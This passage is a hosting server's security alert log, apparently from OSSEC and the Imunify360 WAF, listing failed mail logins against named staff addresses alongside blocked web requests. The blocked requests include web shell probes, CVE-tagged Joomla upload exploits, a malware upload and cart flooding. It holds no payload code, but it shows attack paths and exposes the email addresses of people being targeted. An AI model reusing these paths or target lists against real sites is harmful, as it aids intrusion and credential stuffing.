2026-07-05 23:01:17 dovecot_login authenticator failed for H=([110.166.80.135]) [188.122.37.97]:58298: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-05 23:05:36 dovecot_login authenticator failed for H=([91.146.24.164]) [74.209.100.246]:35682: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.60.31.30
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/EVIL0RD_1783273024242.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 42.200.231.39
country_id: 1819730
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&add-to-cart=10187||QS:image=1&add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 42.200.231.39
country_id: 1819730
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?rating=1&add-to-cart=10187||QS:rating=1&add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 42.200.231.39
country_id: 1819730
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?rating=4&add-to-cart=10189||QS:rating=4&add-to-cart=10189||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-05 23:12:25 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([142.54.239.4]) [78.67.161.64]:36520: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-05 23:12:38 dovecot_login authenticator failed for H=([112.26.99.93]) [119.196.213.196]:50740: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.139.190.235
country_id: 357994
description:
2026-07-05 23:13:43 dovecot_login authenticator failed for H=(81.214.38.139.dynamic.ttnet.com.tr) [62.139.190.235]:52728: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-05 23:14:03 dovecot_login authenticator failed for H=([112.162.111.205]) [193.114.134.130]:54161: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.34.118
country_id: 1880251
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/combinations/public_html/uploads||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783273605718.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/about.php||SC:/home/combinations/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.0.60
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.23.11
country_id: 1835841
description:
2026-07-05 23:19:38 dovecot_login authenticator failed for H=([36.135.62.94]) [182.31.23.11]:41171: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.66.225
country_id: 1835841
description:
2026-07-05 23:19:53 dovecot_login authenticator failed for H=([49.124.147.253]) [59.8.66.225]:42388: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.232.27.133
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.179.200.156
country_id: 3686110
description:
2026-07-05 23:36:05 dovecot_login authenticator failed for H=(187-8-3-230.customer.tdatabrasil.net.br) [45.179.200.156]:56308: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-05 23:37:11 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([211.63.34.149]) [24.105.160.100]:55881: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-05 23:37:26 dovecot_login authenticator failed for H=(122.6.190.94.interra.ru) [220.77.214.59]:52032: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.198.175.22
country_id: 1835841
description:
2026-07-05 23:36:32 dovecot_login authenticator failed for H=([183.171.236.104]) [175.198.175.22]:48217: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-05 23:37:41 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([199.58.185.11]) [85.29.246.199]:46287: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.139.190.235
country_id: 357994
description:
2026-07-05 23:41:26 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [62.139.190.235]:54746: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-05 23:41:45 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net ([188.226.132.113]) [110.25.110.136]:38623: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-05 23:43:02 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [183.89.208.174]:41040: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-05 23:43:38 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([49.124.151.45]) [111.70.23.252]:49836: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-05 23:44:09 dovecot_login authenticator failed for H=([70.166.167.49]) [122.186.202.58]:45334: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 20.84.120.171
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.25||T:APACHE||MVN:ARGS:class||MV:JFormFieldNRInlineFileUpload||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 20.84.120.171
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:116930||Sizes:22||Combined size:22||User:globalgroupoman||WPU:||Filename:cdg.txt||Scanned:/tmp//20260705-235139-akqgs_wxKaxLLTAn0_E_TAAAABI-file-bcGUoX||SC:/home/globalgroupoman/public_html/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-05 23:56:19 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc8-184.dhcp.inet.fi) [171.244.60.35]:39024: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.165.81.126
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-05 23:57:48 dovecot_login authenticator failed for H=([199.102.105.241]) [217.29.30.135]:55212: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 95.173.232.147
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:config-query.jpg||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.41.134
country_id: 226074
description:
2026-07-05 23:59:00 dovecot_login authenticator failed for H=([67.201.57.102]) [196.0.41.134]:33579: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 95.173.232.147
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:config-query.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.98.177.42
country_id: 102358
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 where to spend Monero (<a href=\"https://xmrlist.com\">https://xmrlist.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-05 23:59:47 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [125.23.255.134]:40508: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-06 00:00:00 dovecot_login authenticator failed for H=([58.57.154.146]) [84.111.136.211]:53594: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-06 00:01:42 dovecot_login authenticator failed for H=([83.239.84.130]) [120.29.140.188]:33130: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.60.31.30
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/EVIL0RD_1783276408563.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-06 00:04:01 dovecot_login authenticator failed for H=(42-200-66-116.static.imsbiz.com) [182.95.217.202]:49720: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.197.220.5
country_id: 6252001
description:
2026-07-06 00:04:37 dovecot_login authenticator failed for H=([183.242.64.111]) [74.197.220.5]:46602: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-06 00:04:38 dovecot_login authenticator failed for H=([125.23.246.177]) [181.129.31.42]:56981: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.63.208
country_id: 1835841
description:
2026-07-06 00:05:01 dovecot_login authenticator failed for H=([45.164.115.86]) [119.207.63.208]:52810: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-furnace-services-lake-worth-beach-fl.zzz-1.com/\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-06 00:11:00 dovecot_login authenticator failed for H=([14.33.96.3]) [210.5.117.238]:56271: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-06 00:10:42 dovecot_login authenticator failed for H=([14.35.209.208]) [182.95.102.190]:35532: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-06 00:14:53 dovecot_login authenticator failed for H=([49.124.152.217]) [220.72.138.160]:54674: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-06 00:14:52 dovecot_login authenticator failed for H=([179.181.135.1]) [1.250.67.114]:46748: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-06 00:15:37 dovecot_login authenticator failed for H=(213-66-197-199-no2550.tbcn.telia.com) [2.59.162.146]:33938: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.19.185
country_id: 1861060
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/ibmctradeflow/public_html/wp-admin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.173.67.235
country_id: 2802361
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-18.158.173.67.235||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-06 00:19:23 dovecot_login authenticator failed for H=([128.185.201.26]) [101.13.5.26]:50772: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.222.203.205
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intercom-systems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvac-hvac-installation-florence-ky.zzz-1.com/\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-06 00:30:42 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [131.161.184.46]:46962: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.226.48.35
country_id: 1269750
description:
2026-07-06 00:31:15 dovecot_login authenticator failed for H=([184.170.245.145]) [117.226.48.35]:59210: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.157.64.130
country_id: 1168579
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/19/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.59
country_id: 1668284
description:
2026-07-06 00:33:45 dovecot_login authenticator failed for H=110-25-109-59.adsl.fetnet.net ([189.108.156.41]) [110.25.109.59]:42923: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.113.92
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-06 00:34:02 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([116.237.181.57]) [202.62.129.18]:64011: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-06 00:34:30 dovecot_login authenticator failed for H=([111.26.63.87]) [84.111.136.211]:57128: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-06 00:34:45 dovecot_login authenticator failed for H=(92-62-74-41.saimanet.kg) [197.219.210.94]:34480: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.185
country_id: 1668284
description:
2026-07-06 00:37:49 dovecot_login authenticator failed for H=111-70-49-185.emome-ip.hinet.net (mail.sotus.co.th) [111.70.49.185]:46827: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-06 00:38:06 dovecot_login authenticator failed for H=([180.94.75.146]) [136.35.246.152]:37576: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-06 00:39:29 dovecot_login authenticator failed for H=(nsg-static-201.69.75.182-airtel.com) [1.227.228.131]:43889: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-06 00:40:32 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com (137.173.198.203.static.netvigator.com) [90.230.212.29]:34576: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.158
country_id: 1269750
description:
2026-07-06 00:46:12 dovecot_login authenticator failed for H=([106.246.89.69]) [182.95.185.158]:34840: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-06 00:48:27 dovecot_login authenticator failed for H=([116.88.116.62]) [196.41.207.112]:49213: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 157.250.206.54
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://recentlybooked.com/\">beer mugs</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.76.124.143
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187&rating=1||QS:add-to-cart=10187&rating=1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187&rating=5||QS:add-to-cart=10187&rating=5||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10240&rating=2||QS:add-to-cart=10240&rating=2||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&rating=1&add-to-cart=10536||QS:image=1&rating=1&add-to-cart=10536||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&rating=4&add-to-cart=10187||QS:image=1&rating=4&add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?image=1&verified=1&add-to-cart=10240||QS:image=1&verified=1&add-to-cart=10240||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?rating=4&image=1&add-to-cart=10187||QS:rating=4&image=1&add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 217.182.136.43
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?rating=5&verified=1&add-to-cart=10536||QS:rating=5&verified=1&add-to-cart=10536||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-06 01:03:17 dovecot_login authenticator failed for H=([49.124.153.25]) [41.128.181.196]:56826: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-06 01:03:41 dovecot_login authenticator failed for H=([61.184.128.210]) [1.227.228.131]:34114: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-06 01:08:49 dovecot_login authenticator failed for H=(111-70-32-10.emome-ip.hinet.net) [27.123.94.66]:50924: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.12.27
country_id: 1269750
description:
2026-07-06 01:16:05 dovecot_plain authenticator failed for H=(oventin) [103.17.12.27]:46787: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.172.225.211
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-06 01:20:26 dovecot_login authenticator failed for H=(n233-h209.a-tc.net) [91.86.88.24]:34366: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-hvac-installation-east-derry-nh.zzz-1.com/\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.209.87.78
country_id: 1168579
description:
2026-07-06 01:23:38 dovecot_login authenticator failed for H=(l193151.ppp.asahi-net.or.jp) [125.209.87.78]:60163: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-06 01:23:57 dovecot_login authenticator failed for H=([197.219.228.242]) [47.223.212.176]:44948: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-06 01:28:21 dovecot_login authenticator failed for H=([49.124.145.62]) [85.105.255.56]:43043: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-06 01:29:19 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [65.20.191.231]:39533: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-06 01:36:50 dovecot_login authenticator failed for H=(wsip-72-211-57-196.lv.lv.cox.net) [116.98.104.138]:40860: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.54.205.253
country_id: 3439705
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/jrg_ibmc/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.47.252.84
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://techbullion.com/the-international-center-for-consciousness-studies-conference-a-global-platform-for-advancing-consciousness-research/\">ICCS Conference; International Center for Consciousness Studies; advancing consciousness research; ICCS by Dmitry Volkov; global platform for consciousness studies</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.81.157
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-06 01:42:05 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([62.183.54.253]) [79.136.8.69]:51840: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
